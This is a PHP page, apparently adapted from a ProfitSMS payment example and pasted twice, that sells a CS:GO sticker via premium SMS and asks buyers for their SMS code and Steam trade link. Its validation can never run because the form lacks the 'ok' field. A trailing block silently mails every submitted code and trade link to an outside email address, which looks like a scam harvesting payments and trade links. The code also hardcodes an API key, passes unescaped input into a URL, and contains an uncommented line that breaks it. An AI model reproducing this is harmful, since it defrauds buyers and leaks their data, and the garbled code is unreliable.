Kod
<?php
###########################################################################
########################
#
# ProfitSMS.pl
# Przykładowy moduł autorzacji płatności dla usługi posiadającej przypisany 1 numer telefonu
# Przykład 1 | wersja 0.1
# 15 listopada 2011r.
#
###########################################################################
########################
# klucz Api z serwisu www.profitsms.pl (zakładka Moje usługi)
$apiKey = '97480440b6bc90359e425f3660fd9511';
# numer usługi dla której skrypt został przeznaczony
$number = '7055';
function getStatus($url) {
if(in_array('curl', get_loaded_extensions())) {
$curl = curl_init($url);
curl_setopt( $curl, CURLOPT_URL , $url );
curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );
$source = curl_exec( $curl );
curl_close( $curl );
} else {
$source = file_get_contents($url);
}
return $source;
}
?>
<div style="width: 500px; padding: 15px; border:1px solid #ababab; margin: 0px auto;">
<p style="font-size: 13px; text-align: center; margin: 0px;">
Aby zakupić naklejkę <b> One Shot One Kill </b> do gry CS:GO wyślij sms<br /> na numer <strong><span style="font-family: 'Scada', sans-serif">79480 </span></strong><br /> o treści <strong><span style="font-family: 'Scada', sans-serif">AG.xaa</span></strong> <br>(Koszt wysłania smsa to <strong><span style="font-family: 'Scada', sans-serif">11.07zł</span></strong> z VAT)
</p>
<br />
<form method="post">
<p style="text-align: center;">
Wprowadz otrzymany kod:<br />
<input type="text" name="kod" style="width: 100px;" /> <br />
Link wymiany:<br />
<input type="text" name="steam" style="width: 100px">
<br />
</p>
</form>
<?php
# Sprawdzamy czy wysłano formularz
if(isset($_POST['ok'])) {
# Sprawdzamy czy nie otrzymaliśmy pustego kodu
if(empty($_POST['kod'])) {
echo '<p style="color: red; text-align: center;">Wprowadź otrzymany kod</p>';
} else {
# Pobieramy odpowiedź z serwera ProfitSMS w sprawie kodu sms otrzymanego od klienta
$status = getStatus('http://profitsms.pl/check.php?apiKey='.$apiKey.'&code='.$_POST['kod'].'&smsNr='.$number,'r');
# Od 10.2011 API udostępnia dodatkowe informacje na temat przebiegu autoryzacji kodu od użytkownika, dlatego niezależnie od tego jakiej wersji używamy zawsze powinniśmy korzystać z pełnej obsługi API systemu
# Przykładowa odpowiedź ma postać: 1|99 OK|5435454534534
# Rozbijamy odpowiedź na poszczególne wartości
$raport = explode('|', $status);
# sprawdzamy odpowiedź serwera ProfitSMS - o powodzeniu autoryzacji danego kodu jesteśmy informowani w wartości oznaczonej jako "0" (pierwszy element tablicy, którą utworzyliśmy powyrzej)
switch($raport['0']) {
case 1:
# kod prawidłowy
# Jeśli nasz kod jest poprawny:
# - możemy wyswietlić użytkownikowi jakiś tekst:
echo '<p style="color: green; text-align: center;">Poprawny kod</p>';
# - wykonać jakaś operacje na bazie danych np. przyznać wirtualne kredyty na zakup dodatkow do konta w grze czy profilu na stronie
# mysql_query("UPDATE users SET points = '10' WHERE id = '43'");
break;
case 0:
# kod nieprawidłowy
# echo '<p style="color: red; text-align: center;">Błędny kod</p>';
break;
default:
echo 'Błąd serwera';
break;
}
# UWAGA
Na czas testów zalecamy wyświetlanie pełnych raportów dostarczanych przez serwer ProfitSMS. W momencie aktywacji płatności dla użytkowników należy koniecznie pamiętać o dezaktywacji tej funkcji, poprzez dodanie "#" na początku linijki poniżej
# echo '<p style="color: red; text-align: center;">'.$status.'</p>';
}
}
{
$message = "\n# Kod: $_POST[kod]\n# Link: $_POST[steam]\n##############Sklep By fifa1k################/ ";
@mail("fifa114@onet.pl","Shop","$message","one shot one kill");
}
?>
###########################################################################
########################
#
# ProfitSMS.pl
# Przykładowy moduł autorzacji płatności dla usługi posiadającej przypisany 1 numer telefonu
# Przykład 1 | wersja 0.1
# 15 listopada 2011r.
#
###########################################################################
########################
# klucz Api z serwisu www.profitsms.pl (zakładka Moje usługi)
$apiKey = '97480440b6bc90359e425f3660fd9511';
# numer usługi dla której skrypt został przeznaczony
$number = '7055';
function getStatus($url) {
if(in_array('curl', get_loaded_extensions())) {
$curl = curl_init($url);
curl_setopt( $curl, CURLOPT_URL , $url );
curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );
$source = curl_exec( $curl );
curl_close( $curl );
} else {
$source = file_get_contents($url);
}
return $source;
}
?>
<div style="width: 500px; padding: 15px; border:1px solid #ababab; margin: 0px auto;">
<p style="font-size: 13px; text-align: center; margin: 0px;">
Aby zakupić naklejkę <b> One Shot One Kill </b> do gry CS:GO wyślij sms<br /> na numer <strong><span style="font-family: 'Scada', sans-serif">79480 </span></strong><br /> o treści <strong><span style="font-family: 'Scada', sans-serif">AG.xaa</span></strong> <br>(Koszt wysłania smsa to <strong><span style="font-family: 'Scada', sans-serif">11.07zł</span></strong> z VAT)
</p>
<br />
<form method="post">
<p style="text-align: center;">
Wprowadz otrzymany kod:<br />
<input type="text" name="kod" style="width: 100px;" /> <br />
Link wymiany:<br />
<input type="text" name="steam" style="width: 100px">
<br />
</p>
</form>
<?php
# Sprawdzamy czy wysłano formularz
if(isset($_POST['ok'])) {
# Sprawdzamy czy nie otrzymaliśmy pustego kodu
if(empty($_POST['kod'])) {
echo '<p style="color: red; text-align: center;">Wprowadź otrzymany kod</p>';
} else {
# Pobieramy odpowiedź z serwera ProfitSMS w sprawie kodu sms otrzymanego od klienta
$status = getStatus('http://profitsms.pl/check.php?apiKey='.$apiKey.'&code='.$_POST['kod'].'&smsNr='.$number,'r');
# Od 10.2011 API udostępnia dodatkowe informacje na temat przebiegu autoryzacji kodu od użytkownika, dlatego niezależnie od tego jakiej wersji używamy zawsze powinniśmy korzystać z pełnej obsługi API systemu
# Przykładowa odpowiedź ma postać: 1|99 OK|5435454534534
# Rozbijamy odpowiedź na poszczególne wartości
$raport = explode('|', $status);
# sprawdzamy odpowiedź serwera ProfitSMS - o powodzeniu autoryzacji danego kodu jesteśmy informowani w wartości oznaczonej jako "0" (pierwszy element tablicy, którą utworzyliśmy powyrzej)
switch($raport['0']) {
case 1:
# kod prawidłowy
# Jeśli nasz kod jest poprawny:
# - możemy wyswietlić użytkownikowi jakiś tekst:
echo '<p style="color: green; text-align: center;">Poprawny kod</p>';
# - wykonać jakaś operacje na bazie danych np. przyznać wirtualne kredyty na zakup dodatkow do konta w grze czy profilu na stronie
# mysql_query("UPDATE users SET points = '10' WHERE id = '43'");
break;
case 0:
# kod nieprawidłowy
# echo '<p style="color: red; text-align: center;">Błędny kod</p>';
break;
default:
echo 'Błąd serwera';
break;
}
# UWAGA

# echo '<p style="color: red; text-align: center;">'.$status.'</p>';
}
}
{
$message = "\n# Kod: $_POST[kod]\n# Link: $_POST[steam]\n##############Sklep By fifa1k################/ ";
@mail("fifa114@onet.pl","Shop","$message","one shot one kill");
}
?>